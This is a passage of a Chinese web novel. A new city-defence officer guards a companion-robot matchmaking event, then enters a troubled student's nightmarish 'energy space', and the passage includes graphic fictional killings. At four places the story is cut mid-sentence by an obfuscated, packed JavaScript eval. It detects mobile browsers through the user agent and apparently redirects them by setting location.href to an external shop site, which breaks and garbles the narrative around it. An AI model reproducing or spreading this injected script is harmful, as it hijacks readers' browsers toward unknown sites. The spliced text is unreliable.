而且,有的生成型异能者还可以改变自己的身体形态,比如生成一条大尾巴。 易戈看起来是个好相处的,宿九也友好地对他笑了笑:“你好。” “行了,你们赶紧去准备,快到出发的时间了。”安叶催促几人,转头说道,“宿九,你跟我来,我们日常巡逻是要穿安全服和装备武器的,我带你熟悉一下。” “好。” “内防队的安全服很简单,比他们外防队的穿起来省事儿不少。”安叶动作很快,几十秒就装备整齐了,她跟宿九介绍道,“按下这个按钮,会开启全面保护模式,不过平时我们不需要这个,若是遇到精神失控者,才会启动,这个功能能够帮我们隔绝一部分能量干扰,否则我们自己的情感量值会受到精神失控者的严重影响,这非常危险。” “武器呢,我们常用的是匕首和枪,你可以都装备上,不过我们巡逻遇到的事情通常都没什么危险,很少会真正用上,带上武器更多的是以防万一。” 宿九点了点头,挑了把和阿蒙那把类似的匕首,除了手枪,她还选择了一个杀伤力比较强的电磁枪。 在看到有微型炸弹后,宿九也拿了几个,就连干扰器她都揣了一个在身上。 安叶见她进货似的,笑了笑,说道:“别担心,要真有什么危险,你躲在我们身后就好。” “哈哈。”宿九尬笑两声,也没说拒绝的话。 出城主府的路上,易戈负责开车,安叶坐在副驾驶,对众人说道:“今天未来集团举办了相亲会,我们需要负责一部分的安保工作,大概两个小时。” 易戈“啊”了一声:“今年轮到我们组了?未来集团的这个相亲会,三年才举办一次,我都不敢想象现场有多少人。” 安叶看了眼后视镜:“我们只是维持下秩序,真有人闹事儿,人家自己的安保组就出手了,哪轮得到我们。” “哈哈哈说的也是。”易戈打了个弯,笑呵呵的说,“不过讲真啊,我还挺好奇他们今年相亲会的机器人长什么样子呢,要是比上一届的都好看,那可就赚了哦。” 安叶挑眉道:“怎么,你心动了?” “组长,你可别逗我了,我还是喜欢实打实的人,这种伴侣机器人不是我的菜。” 相亲会?伴侣机器人? 宿九在后座听得兴致勃勃。 陈一伟坐在一旁抱臂假寐,这会儿睁开了眼睛,反驳道:“伴侣机器人才是最好的选择,你不想是因为你没钱,要是有钱去专门定制,别提多爽了。” “呵,你这是为你的害怕找借口。”易戈撇了撇嘴,“害怕要是找了人类伴侣,哪天让你的情感量值踩红线了,机器人多好啊,不仅任由你们这些怂货随便操弄,还不会对你们产生影响,多划算啊。” “你!”陈一伟脸色一变,但很快又恢复了,他语气不善,“哼,我倒要看看你会不会成为你口中的怂货。” “走着瞧咯。”易戈耸肩。 宿九默默吃瓜,在心里呐喊,你们继续啊!再多说一点啊。 她对这什么伴侣机器人还是挺感兴趣的呢。 当然,没有人能听见她的心声,后面的路程安静得落针可闻。 直到抵达目的地,安叶才吩咐大家拿好东西下车。 宿九望着“未来集团 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17141303|196350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”四个大字,心想,嘿!这不就巧了嘛。 这儿俨然就是昨天晃了她眼的玻璃大厦啊。 怪不得未来集团这几个字她听着十分熟悉呢。 一进门,宿九有种进了春运现场的即时感。 宽阔的大厅里到处都是人,还都朝着一个方向涌去。 “易戈,把小胖放出来。”安叶走在最前方,转头朝易戈说道。 “好嘞组长。” 宿九走在易戈身旁,看着他从自己的背包里掏出一个脑袋大的金属球。 他将球放在地上,操作了一下自己的手环,原本光滑的金属球“滴”了一声,就长出了短短的四肢,双脚是两个轮子。 “小胖,开始工作!”易戈拍了拍它圆润的身子。 接收到指令,小胖非常灵活地超越几人,率先冲了进去。 “小胖可是我们的得力助手。”易戈凑到宿九身边,对她解释道,“它主要负责采集附近的各种信息,有很多我们不方便去的地方,它都可以去,而且还能将实时画面反馈给我们,像这种人多的地方,它能帮我们不少忙。” “厉害了。”宿九看着他手环上浮现的画面,真心感叹道。 相亲会的主厅,大约有一个学校体育馆般的面积,此时里面人头攒动,热闹非凡。 宿九一行人好不容易从人群里挤了出来,抵达各个点位开始站岗,观察着所负责的区域。 “注意一点,别分心。”耳机里传来安叶的声音。 “收到。” 这个时候,宿九感觉自己的视力似乎变得更好了,而且听力还能选择性过滤掉杂音,清楚地听见自己想听见的声音。 好家伙,这就是B级异能吗? 谁说没用来着?她倒是觉得老好用了。 就连距离她很远的那对姐妹花,犯花痴的声音都被她听得一清二楚。 “姐!你看那个机器人!啊啊啊好帅,我好喜欢,好想要啊!” “你冷静点,别太激动了,上个月交的情感税还不够多吗?” “可我就是控制不了嘛!谁叫咱们家没钱定制啊,这个相亲会的机器人可都是最优质的那批,而且还是免费的,只要能够彼此选择,我就能带他回家了,要是错过了这次,又要等三年!” “这么多人,他怎么会就刚好看中了你,别抱太大希望。” “万一呢,万一他就喜欢我呢,待会儿我肯定会引起他注意的。” 宿九仔细打量最前方的一百个机器人,有男有女、有高有矮、丰满的苗条的、健壮的清瘦的,各式各样,主打一个照顾各种人的喜好。 当然,最多的肯定还是长得好身材好的。 台上的主持人还在介绍:“这是我们未来集团最新研发的伴侣机器人,除了以往的功能之外,我们还增加了最新技术,大家可以根据自己的喜好,重塑您伴侣的身体和外貌,因为技术还在试验阶段,仅限今天的一百名伴侣机器人。” 此话一出,全场寂静,随即开始骚动起来。 “那这和定制有什么区别?”有人强忍激动,发出疑问。 “这是免费的!” “选我选我!我月入三千金币,会竭尽所能给她创造最好的生活环境。” “哈哈哈哈搞笑呢哥们儿,三千金币还不够上城区的一个零头。” “我努力工作了几十年,现在在上城区买了房,虽然小了点,但是跟我生活她一定会感到幸福的!” “虽然我没什么本事,但是我儿子很厉害!呜呜呜我想给他找个爸爸。” 5. 精神失控01 “安静,请大家安静。”主持人扬声道,“接下来,各位将有一分钟的时间对着您心仪的伴侣机器人进行自我陈述或展示,他们将综合各位的表现,做出最终的选择。” 话音刚落,一百名伴侣机器人齐齐睁开了眼睛,在一群黑衣安保的带领和护送下,站在了各自的位置。 “请大家排好队,严格遵守相关规定,违反者我们将立即采取驱逐措施,且永久取消参加相亲会的资格。” 满厅的人开始行动起来,秩序中带着混乱。 宿九观察完周围,最后将目光落在了不远处的机器人身上。 离她最近的这个男性机器人,皮肤是晒过阳光后、健康的小麦色,身形高大健硕但并没有什么压迫感,反而有种温文尔雅的气质。 不过与其他很多机器人相比,他的年龄看起来要更大一些。 或许是这个原因,为他排队的人算不上很多,至少不像那些如长龙盘旋般延绵不绝的队伍。 毕竟男人大都爱年轻貌美的女人,他们说这是他们的本性。那女人当然也有权利喜欢年纪小长得好的帅哥咯。 宿九听了一会儿,感觉这机器人和人的相亲会,也就那么回事儿吧,无外乎是为人一方单方面的叽叽喳喳,恨不得使出浑身解数,只为引起对方的注意。 也不知道到最后机器人会如何选择,是看人的皮囊还是经济收入?又或是异能及其等级? “唉,好无聊啊。”耳机里传来易戈的声音,“我已经听了他们几百遍‘我有钱’的话了,真有钱的话还来挤破脑袋白嫖这免费的东西?希望这些机器人不会被他们骗了吧。” “你那儿已经算好了。”安叶略显疲惫的声音响起,“我这边有人表演才艺,嚎得我头疼,有个异能是体质强化的,非要表演胸口碎钢板,结果被砸得吐了一大口血,我刚给他急救完。” 宿九嘴角抽抽,这都是些什么奇人异种。 “对了,宿九呢,你那边情况如何?”安叶询问道。 “组长,我这边一切正常。”宿九往后退了一步,避开疾冲过去的一男一女。 “行,大家都再坚持一下,还有四十分钟,我们准备撤了。” 耳机轻微震动了下,又恢复了寂静。 “快快快!你过来!”刚才从宿九面前跑过去的那个女人插到队伍前面。 “你干嘛呢!怎么还插队,快滚快滚。” “大姐,不好意思不好意思,我刚才就排到这儿了,然后出去接了下我儿子。”女人摆出一副笑脸,“喏,这就是我儿子,在第一中学上学,刚下课就过来陪我了,小愿,快,叫阿姨。” “哟,第一中学,厉害啊。” “哪里哪里,是他自己争气,我都没管过他,学习成绩嘛,虽然不是每回都拿第一,但我也挺满意的,就是这孩子有些内向,不爱说话。” “呵呵。” 宿九隔老远都能感受到大姐的尴尬,不过当她看见那个男孩儿的脸时,只能说世界还真是小啊。 她记得他名字叫卢愿,昨天他脸上的乌青这会儿已经消了,整个人干净整洁,穿着自己的衣服,看起来与昨日狼狈的样子大相径庭。 很快,就轮到了女人。 女人将卢愿硬拉到自己身前,像是在展示什么好东西。 “我叫万春兰,十几年前丈夫就死了,这么多年就靠自己将儿子拉扯长大,儿子现在是第一中学的学生,你看,他不仅长得好成绩也是数一数二的,可遗憾的是,这么多年他都没有爸爸,所以我想给他找一个优秀的、能够陪伴他以后的爸爸。” “小愿,你来说几句,给这位叔叔展示展示咱们的优势,你学了那么多知识,比妈妈聪明,肯定知道得多。” “赶紧的!该说话时就要说话,别低着个头不吭声。” 宿九目睹女人打了下卢愿的脑袋,不由皱起了眉头。 就在这时,耳机里突然响起易戈的惊呼:“啊,队长,小胖的信号断了!” 紧接着,宿九视线一扫,看见小胖正停在卢愿的脚边。 “小胖在我这边。”她说。 “不好,生态干扰能量超过阈值,有人精神失控!”安叶语速很快地说,“宿九,同步画面,去小胖的位置,精神失控者就在那里,其他人,赶紧过去!” “收到!收到!” 耳机里是组长他们匆忙赶来的脚步声,以及陈一伟“让开让开”的喊声。 宿九只愣了一秒,便朝卢愿的位置跑了过去。 想起组长之前的话,她惜命的摁下安全服上的按钮,开启了全面保护模式。 从衣领处升起一个透明保护罩,将她的脑袋全方位包裹了起来,在宿九眼前的位置,保护罩上还出现了一个数据面板。 越靠近卢愿,面板上的生态干扰能量数值飙得越快,下方还有一行醒目的红色字体:出现精神失控者,请立即清除! “出现精神失控者!请各位立即离开!” 安叶的声音响彻在整个大厅里,警告声重复了三遍。 “什么?这里有精神失控者?” “怎么回事?!为什么会有精神失控者?” “不行,我还没有排到呢!” “相亲会还没有结束,我不能离开!” 霎时,人群乱成一锅粥,各种各样的声音闹在一起,堪比上百个怒路症司机鸣笛,让人想都杀了。 “砰——” 安叶最先赶到宿九身边,朝顶上开了一发枪。 她的声音通过特制扩音器,传到每一个人的耳中:“不怕死的可以不走。” “易戈,陈一伟,怎么还没到?!” “来了来了。”易戈从人群中冒出头,侧着身子挤了进来。 “你们干什么?为什么抓我儿子?”万春兰惊恐地大喊,拉着卢愿不放。 宿九第一时间就控制住了卢愿,就在安叶过来的前一秒,这小子不知道从哪儿掏出了一把刀,冲着万春兰的后脑勺刺去。 而现在,卢愿被宿九夺走了刀,整个人仿佛失去了灵魂,被宿九反手押着,跪在地上一动不动。 但宿九眼前面板上已经爆表的数值,告诉她事情没这么简单。 易戈迅速重启了小胖,然后从它圆滚滚的肚子里掏出了四个六边形的装置。 “建立隔离区,快!我们只有一个小时。”安叶催促道。 “给,布置在东西南北四个方位。”易戈将装置扔给大家,特意对宿九解释。 陈一伟粗暴地将万春兰拉走,交给刚刚赶来驱散人群的巡逻机器人。 宿□□着易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17141304|196350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戈的操作,将装置安装在了正南方向。 安装成功后,每个装置的中央有一个发光的核心,周围伸出多个能量臂,每个臂端都有小型的能量发射器。 以卢愿为中心,形成一个密闭的能量罩。 “5、4、3……”当面板上骤然出现的数字跳动到“1”时,宿九所处的空间发生了彻底的变化。 她已不在未来集团举办相亲会的大厅,而是来到了一所学校门口,校门上写着“第一中学”。 宿九下意识看向身边,还好,组长他们都在。 几人的脑袋都被透明保护罩包裹着,大家对视了一眼,表情都变得严肃起来。 安叶看向宿九:“这里就是精神失控者的能量空间了。” 先前的培训讲过,精神失控者的情感能量已经越过了红线,达到了一个巨大的数值,研究表明,这股超常的能量大概率与生态干扰能量同源,若不及时建立隔离区,势必会影响附近其他人,可能导致新的精神失控者出现。 但隔离区的有效期只有一个小时,这一个小时,恰恰也是能量空间的生长期,一旦超过一小时,精神失控者的能量空间百分之九十九的概率会即刻崩塌,而躲在里面的“影子”将会出现在现实世界,到时候,那就失控了。 所以他们必须在一个小时内,将藏在卢愿能量空间里的“影子”给找出来,并解决掉。 但“影子”无法彻底杀死,他们只能进行回收,而之后如何处理,就不是他们城防军要管的事儿了。 可是,这要怎么找呢? 宿九干瞪着眼,等待组长的安排。 似乎是为了缓和气氛,安叶朝她开了个玩笑:“你的运气不错,入职第一天就见到了精神失控者。” 是吗?重新定义运气好吗? 不过宿九倒是没有什么紧张的情绪,可能是不知者不恐惧。 而知道接下来可能会见到什么的易戈,脸色就不太好了:“希望这次的‘影子’不会太恶心。” “怂货。”陈一伟总算有机会回敬他了。 易戈没理他,只是默默掏出了枪,再检查了子弹有多少。 “出发吧。”安叶下令道。 安叶走在最前面,陈一伟殿后。 当紧闭的学校大门打开后,周围恢复了正常世界的声音。 设计独特的教学楼,漂亮得十分真实的绿植和草坪,还有穿着校服来来往往的学生。 这一切,看起来和现实世界没什么两样。 而他们几人,仿佛隐了身,没有人注意到。 “他的基本资料有了吗?”安叶问道。 易戈:“姓名卢愿,十六岁,第一中学高年级二十三班学生,异能为D级五感,学习成绩很好,没有掉出过高年级前三,但仅限于文化课,实战课成绩排名较后。他的母亲叫万春兰,是一个靠卖铁为生的普通人。” “普通人?”陈一伟投来一个惊讶的眼神,“那他怎么会有异能?” “小概率事件。”易戈看着后面的资料,逐渐皱起眉头,“他的父亲是第二代潜行者,异能为A级,十五年前在出任务时死亡。” “一个A级的异能者怎么会愿意和普通人结合。”陈一伟表示不理解,“怪不得生下来的孩子是个只有D级五感的废物。” 6. 精神失控02 宿九虽然觉得这话有些刺耳,但不得不承认的一个事实是,在这个世界,有着人类无法改变的法则。 普通人和普通人结合,只能繁衍出没有异能的普通孩子。异能者与普通人结合,若是异能等级不够高,也是无法生出有异能的孩子。 这也是为什么易戈说是小概率事件,A级异能者能与普通人生出有异能的孩子,就算是D级,那也已经是老天开眼的程度了。 安叶若有所思:“卢愿在学校,有什么关系不好的同学或老师吗?” 宿九回忆起培训时所了解到的信息,明白了组长为何要这么问。 精神失控的人并不是没有原因的,只不过原因会比较复杂,可能会由各种因素所影响。 当时项秋阑给她看了一个案例,一个三十多岁的普通家庭主妇,在非常平常的一天,做完家务后就精神失控了。 在城防军赶到之前,她杀死了醉酒后正在睡觉的丈夫以及那一岁的儿子。 城防军在她的能量空间里先后解决了她的丈夫和儿子,才得以见到她的“影子”,那个影子的全身上下都布满着子宫,每一个子宫里都躺着已经成型的婴儿,但诡异的是,婴儿的脸都是他丈夫的模样。 后来经过分析,他们才明白这个女人可能因何精神失控。 她长期受到丈夫的家暴,还不得不无微不至地照顾丈夫的生活,最后还得被迫怀上男人的孩子,生下孩子后,需要她照顾的人又多了一个。 她再也无法压制自己愤怒与憎恨的情感了。 在所有的情感中,愤怒与憎恨是最快让人走向毁灭的。 所以,只要他们解决掉卢愿能量空间里的核心,也就是造成他精神失控的主要原因,他的“影子”便会出现。 易戈摇了摇头:“没有任何资料显示。” 时间已经过去三分钟了,宿九的脑海里突然出现了一个人。 紫毛。 “组长,会不会是他的同学?” 陈一伟忽然不耐烦了起来:“用得着搞这么复杂吗?直接全部弄死得了。” 说完,他拿起匕首就直接割掉了就近一名男学生的脑袋。 原本还在和同伴说笑的男孩儿,喷着血的头颅咕噜噜地滚到了宿九的脚边,没有闭上的眼睛惊恐地盯着她。 而他失去头的身体,歪倒在了他同伴身上。 同伴的脸、身体都染上了血,但他的表情依旧带着刚刚的笑容。 紧接着,他的脑袋也以同样的方式掉了。 陈一伟顺手甩了甩匕首,鲜红的血液滴在宿九的裤脚上。 “啊,你怎么这么凶残!”易戈往旁边跳了两步,避开地上流过去的血。 宿九觉得自己应该害怕的,可实际上,她只是意外了一下,而后很平静。 安叶对陈一伟的行为没有说什么:“我们对一下时间。” “十点五十一分。” “十点五十一分。” “好,剩余时间五十六分,我们分头行动,宿九这次先跟着我。” 易戈朝学生宿舍楼的方向摸了过去,陈一伟去了老师办公楼,一路上用匕首收割了不少脑袋。 “我们去教学楼。”安叶说。 “嗯。” “被吓到了?” “什么?” 安叶给自己的枪填充子弹,抬眼道:“陈一伟是我们组情感量值最高的,他需要用这种方式缓解。” 宿九不太理解:“靠杀人缓解?” 安叶笑了笑:“这里除了我们,可没有真正的人。在这里待得时间越久,我们受到干扰的程度越高,对于陈一伟这种情感量值高还不擅长压制的人来说,他比我们任何一个人都渴望快点找到影子,直接屠杀,确实是最快的方式。” “你是不是想说这里都太真实了?”安叶朝几个正在欺负同学的学生开了枪,没入脑袋的子弹仿佛一颗炸弹,脑浆带着组织碎片糊了一墙。 “以前也有新人这么想,但当看见自己的组员精神失控后,他成了杀人最疯狂的那个。” 可这些真的都是假的吗?宿九看着这些活生生的青春面孔,突然冒出了一个恐怖的想法。 她是从另一世界穿来的,难道就没有可能,这个空间里也都是真实存在的人吗? 但她也只是想想,随即转移了话题:“二十三班还有多远?” “不远了,从那个空中走廊过去。” 两人加快脚步来到教室门口,宿九站在窗户前,看见里面正在上课。 卢愿坐在第三排,看起来很认真。 而紫毛就在他的侧后方。 “据资料记载,灾难前的世界,美丽而安宁,人们早出晚归,学习、工作、生活,有很多家人和朋友,可以随心所欲地悲伤与快乐,那里人人平等,人人都能吃上同样的食物、穿上同样的衣服……” “老师,这是真的吗?”有学生好奇地问道。 老师笑了笑:“资料里是这样说的。” “可是他们没有异能,就像现在的普通人一样,实在是太没用了。” “但听起来,他们的生活很幸福!” “我现在也很幸福啊。” “因为你是异能者,家里还很有钱!我听说,下城区里的好多普通人,经常饿肚子呢,很可怜的。” 卢愿低着头,不知道在想什么。 紫毛“噗嗤”一笑:“有什么可怜的?可怜他们躲在异能者身后安稳度日吗?” 教室里寂静了一瞬,大家看向紫毛,只觉得他笑得有些渗人。 虽然他们有的人确实也这么想过,但没人会在这种场合毫不遮掩地说出来。 “异能者,生来就有特权。” 卢愿的声音在此时显得异常清晰。 紫毛猛地看向他,眼里没有了笑意。 “站在普通人的身前,保护他们是我们异能者的责任。”卢愿依旧低着头,声音很轻,“履行了这个责任才能享有特权。” “狗屁特权、责任!”紫毛突然站起身,恼怒道,“为了保护他们,所以异能者就该死?你们可别忘了,当初把怪物放进来的是谁,死的人又是谁。” 紫毛胸前起伏,眼里似乎浮现出了某种隐秘的痛苦:“没用的是他们,下作的是他们,该死的是他们!凭什么异能者要为他们的一无是处买单,适者生存、优胜劣汰,是自古的法则!” “噗嗤——” 装有消音器的枪口/射出一颗子弹,径直没入了紫毛的眉心,宿九看着他直直倒在了座椅上,眼睛都没来得及闭上。 安叶面无表情地说:“他太激进了。” 宿九不置可否,不过令她好奇的是,紫毛所说的“当初”那事儿,具体发生了什么呢? 然而,她还没来得及多想,异变就发生了。 教室里的人,仿佛同时接收到了某种指令,齐齐扭头看向窗外,盯着她和安叶所在的方向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17141305|196350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 圆溜溜的眼珠子从每个人的眼眶里弹出,拉着细长的、血淋淋的肉柱条,飞到两人的周围。 “他发现我们了。”安叶说。 宿九被密密麻麻的眼珠子围着,没有轻举妄动:“卢愿?” 安叶:“嗯,看来刚才那个同学,我们找对了。” 哦,明白了,目前的状况估计是他们找到了核心之一,所以触发了能量空间里的驱逐机制。 “我们现在怎么办?”宿九不懂就问。 【听……听……听到……了……吗?】 宿九疑惑地转头:“听什么?” 安叶:“什么?” 两人视线相对,宿九倏地反应过来。 不对,不是安叶的声音。 【该……该死、我、我该死……我该死】 宿九耳边再次传来断断续续的声音,像是开了变声器,听不出原本的音色。 “组长,你有听见什么奇怪的声音吗?” 安叶凝神听了下,随即摇头道:“没有。” 难道只有她能听见?宿九疑惑地想。 等等,该不会是因为她的五感异能吧,能听到一些别人听不见的声音? 宿九立刻屏蔽掉其他的杂音,试图将刚才的声音听得更清晰,可她竖起耳朵认真听了一会儿,都没有再听见那个声音了。 安叶不解地问:“你听到什么了?” “没什么,可能听错了吧。” 在弄清楚声音的来源前,宿九打算先暂时隐瞒着安叶。 毕竟她现在还无法确定能听见这个声音是好事儿还是坏事儿。 周围的眼珠子离她们越来越近,每条肉柱头端的眼珠晃动得越来越快,有些蠢蠢欲动。 其中一只眼珠子悄悄朝宿九的手臂贴近…… 宿九动作迅速地抽出匕首,眼疾手快地切断了连接着它的肉柱条。 眼珠啪嗒掉落在地上,滚到安叶的脚边,随即被她一脚踩爆。 宿九看见刚才被她切断的那条肉柱,顶端又长出了一个新的眼珠子,她惊讶道:“这东西会再生?!” 安叶皱着眉头:“看来是的,小心别被它们碰到,这玩意儿沾在身上很难扒下来。” “你是不是带炸弹了。” 宿九:“对,带了五个微型。” 安叶松了口气:“足够了,这些眼珠子是从教室里那些人眼睛里伸出来的,把他们同时杀了就行,不然这东西没完没了,我给你开个口子,你把炸弹扔进去。” 没给宿九犹豫的机会,安叶接连开了几枪,将眼珠子打空了一小块,最后一发子弹打碎了教室的窗户:“扔!” 宿九飞速往里面扔了三个,一近一远,还有一个准确地扔在了讲台上。 三个炸弹同时爆炸,发出了巨大的响声。 趁着眼珠子拼命往回收缩,宿九和安叶敏捷地闪到另一个教室前,然后不带停地往楼下飞奔。 “威力这么大啊?”宿九瞧着楼都要塌了架势,一边跑一边惊叹。 “其实扔一个就够了。”安叶有些无语,新人下手果然没轻没重。 宿九比安叶跑得还快,她喘了口气说:“我怕一个有的炸不死嘛。” 等两人跑到楼下,望着被炸掉的半边楼,一时相对无言。 “啊啊啊——组长!救命啊——” 就在这时,一道震耳欲聋的喊声从学生宿舍楼的方向传了过来。 7. 精神失控03 宿九与安叶对视一眼,同时朝声音的方向跑过去,刚到半路,就看见易戈正以极快的速度狂奔而来,身后缀着一大群奇怪的东西。 “靠靠靠!滚远点啊!”易戈边跑边举枪射击,子弹呼啸而出。然而他的准头不太行,打中了但没有一击毙命,那些被击中的东西只是踉跄一下,在惯性作用下脸着地犁出数米,然后又扭曲着爬起,继续穷追不舍。 宿九定睛一看,瞬间倒吸一口凉气。 那乌压压的一大片,哪是什么长着四条腿的动物啊! 密密麻麻的,分明是扭曲变形的人体!他们双手异化成支撑的前肢,四肢着地狂奔,一张张属于人类的面孔扭曲变形,大张的嘴里涎液横飞,喉咙里发出非人的嘶吼,像疯了的狗一样,死死追咬着易戈的背影。 “操!这又是什么玩意儿?”安叶明显有些不耐烦了,直接举枪射了起来。 连续不断的子弹破开空气,飞速射出,非常精准地击中“疯狗”们的脑袋。 宿九没想到自己的枪法也这么准,一打一个脑袋开花、血花四溅。 前排的“疯狗”相继倒下,后面的“疯狗”踏过他们的尸体,不管不顾地继续追。 要不是易戈速度快,估计早就被追上了。 可是他们子弹有限,经不起这么造,宿九再次庆幸自己带了炸弹。 这回她知道节约了,就扔了一个:“易戈小心!” 易戈见状,顿时懂了,他立刻爆发出更快的速度,与身后的“疯狗”拉出足够的距离。 宿九瞅准时机,引爆了炸弹,像炸鱼一样,那群“疯狗”瞬间被炸得血肉横飞。 安叶和宿九补了几枪漏网之鱼,易戈也来到了两人面前。 “呼、呼。”易戈撑着大腿,调整了下呼吸,“幸好你们来了。” “这什么情况?”宿九问道。 易戈像是找到了哭诉对象,立即大吐苦水:“你们是不知道我有多倒霉!我刚进学生宿舍,还没刀人呢,就看见卢愿正在和宿管讲话,我就想着先去听听他们在说什么,卢愿跟宿管说他的校服被人弄坏了,想拜托宿管查一下监控,看看是谁弄的,结果宿管很不耐烦,拒绝了他,还说他怎么这么多事儿,不就是校服坏了吗,再重新买一套就是了。我看卢愿有些不开心,就把宿管给杀了。” “完了我又看见卢愿被几个人拦在走廊里,说是要和他切磋一下。” 几个高矮不一的男同学堵在卢愿前面,其中一个戴着眼镜的高个子说:“卢愿同学,听说你已经连续几次都是年级第一了,我们都想向你讨教一下学习经验,争取在下一次考试中获得更好的名次。” 卢愿看起来有些意外,解释道:“那只是文化课。” “没关系,既然你文化课那么好,实战课成绩肯定也不差。”高个子笑着说。 “……”卢愿顿时明白了什么,成绩都是全校公开的,他们都知道他实战课的成绩。 “不了,我没什么值得学习的经验。” “哎呀,你别急着走啊。”旁边的矮个子挡住他的去路,“你说你文化课这么好,可是实战课怎么就不行了呢?听说你的异能是D级五感啊,我们挺好奇的,这样的水平是怎么进的我们学校啊?就靠文化课成绩好吗?” 有人附和:“哈哈哈哈,可是文化课好有什么用呢?大家都知道,评奖看的可是实战课成绩呢!” 高个子垂眼看着他:“我相信我们学校的入学选拔是非常公平的,卢愿同学,你该不会是在隐藏实力吧?” 卢愿:“你们到底想怎样?” “和我切磋一下吧,就最简单的格斗。” 卢愿知道他被找麻烦了,可是他又能怎样呢,这些人从来不会善罢甘休的。 “好。”他只能同意。 高个子的异能是C级强化型,敏捷和力量比较出色。 卢愿趴在地上,捂着肚子面露痛苦之色。 “哈哈哈哈,你们看,他像不像一条半死不活的狗。”有人在笑。 有人虚伪:“行了行了,再打他可能爬不起来了。” 有人猜疑:“怎么这么弱啊,他不会是靠什么关系才进的咱们学校吧?” …… 关闭记录仪影像,易戈叹了口气:“我把那些人都杀了,然后就被卢愿发现了,整栋楼里的学生都变成了那副鬼样子,把我追得够呛。” 几人看着这地上的断臂残肢,还有大面积的血迹,默契地离开了。 “也不知道办公楼那边怎么样了。”易戈搓了搓手臂,想象了一下,“该不会血流成河了吧?” 宿九没说话,因为她已经闻到了浓浓的血腥味。 一走进办公楼,几人都不知道该如何下脚。 易戈被眼前的画面恶心到了,忍不住爆了个粗口:“陈一伟有病吧!” 宿九见过楼房因水管爆了而被淹了的地板和渗水的天花板,而这里,水变成了血。 “组长,我们真的要进去吗?”易戈皱巴着脸。 安叶看了下时间,说道:“他可能还没有找到核心。” 那就是要进去呗。 易戈吐槽道:“都搞成这幅样子了,居然还没找到,真没用。” 宿九跟在两人身后,脑子开始运转了起来。 氛围奇怪的班级,实施暴力的同学,态度恶劣的宿管,卢愿的精神失控,是因为长期遭受了这些吗? 那老师呢?老师在其中又扮演着怎样的角色呢?甚至是学校…… 一分钟后,他们到达了三楼。 但同时,整座大楼突然开始剧烈摇晃了起来。 陈一伟从楼上的栏杆处跳下来,看到他们愣了半秒,急忙道:“快跑,这栋楼要吃人!” 易戈没有半点犹豫,拔腿就跑:“吃人?这都啥玩意儿啊,你干了什么?!” 宿九避开掉落的不明物体,奔跑中她迅速朝上方看了一眼,只见刚才他们所站的地方,已经出现了一个大洞,而洞口上面是逐渐逼近的天花板,天花板的中央裂开了一张巨大的嘴,里面漆黑一片深不见底。 脚下的地板开始倾斜,桌椅划出刺耳的声音,哐哐啷啷地朝几人砸来。 安叶徒手砸飞一个铁桌,对几人喊道:“这边!从窗户跳下去!” 整座楼仿佛活了一般,不停地晃动身躯,原本的地板旋转成了墙壁。 “啊!”易戈速度最快,率先从窗户跳了出去。 紧接着是宿九,她看着底下两层多的高度,在心里暗骂了一声。 这日子简直没法过了,不是杀人就是跳楼。 但不管怎样,小命要紧。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17141306|196350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 宿九拉着一根掉落的电缆线,稍微缓冲了一下,安全落在了易戈身边。 不知道易戈是磕在哪儿了,正抱着腿哈气,宿九一把薅起他的衣领,将他拉到了一旁。 “砰”的几声,刚才那里掉下来了几具无头尸体。 被陈一伟杀了的老师从楼里漏出来了。 易戈愣了下,随即忘记疼痛往远处跑了跑,一脸真诚地说:“宿九,从今天起你就是我的救命恩人!不然我就要和那个恶心的东西亲密接触了。” 说着说着,他还跺了跺脚,像是在抖掉什么脏东西。 安叶跳下来,刚好踩到一具尸体的手臂,她嫌弃地骂了一声,头也不回地往前跑。 【该死……该死……】 那个声音又出现了!宿九赶紧竖起耳朵。 【都该死、你们都该死……】 声音逐渐变得清晰,但这道声音的语气依旧十分平静,在这种情形下显得异常诡异。 “陈一伟!”安叶扭头喊道,眉头皱得死紧。 刚才窗户的位置眨眼间就变了,陈一伟没来得及从那个地方跳下来。 